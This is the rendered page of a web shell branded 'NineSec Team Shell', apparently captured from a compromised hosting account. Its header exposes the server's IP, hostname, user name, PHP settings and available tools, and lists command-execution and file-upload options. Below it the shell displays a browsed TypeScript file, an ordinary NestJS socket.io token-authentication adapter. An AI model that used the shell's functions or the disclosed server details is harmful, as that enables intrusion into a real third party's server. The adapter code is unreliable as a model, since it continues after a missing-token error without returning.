NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/src/chat/socket_io/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/src/chat/socket_io/redis-io.adapter.ts
/**
 * Copyright 2023, the hatemragab project author.
 * All rights reserved. Use of this source code is governed by a
 * MIT license that can be found in the LICENSE file.
 */

import {IoAdapter} from "@nestjs/platform-socket.io";
import {ServerOptions} from "socket.io";
import {INestApplicationContext} from "@nestjs/common";
import { AuthService } from "../../api/auth/auth.service";

export class RedisIoAdapter extends IoAdapter {
    constructor(
        private app: INestApplicationContext
    ) {
        super(app);
    }

    createIOServer(port: number, options?: ServerOptions): any {
        const server = super.createIOServer(port, options);
        server.use(async (socket, next) => {
            try {
                let authToken;
                if (socket.handshake['headers']['authorization']) {
                    authToken = socket.handshake['headers']['authorization'].split(" ")[1]
                } else {
                    if (socket.handshake.query['auth']) {
                        authToken = socket.handshake.query['auth'].split(" ")[1];
                    }
                }
                if (!authToken) {
                    next(new Error("Auth must be provided !"))
                }
                let authService = this.app.get(AuthService);
                socket.user = await authService.getVerifiedUser(authToken);
                next();
            } catch (e) {
                console.log(e);
                next(e);
            }
        });

        return server;
    }
}

NineSec Team - 2022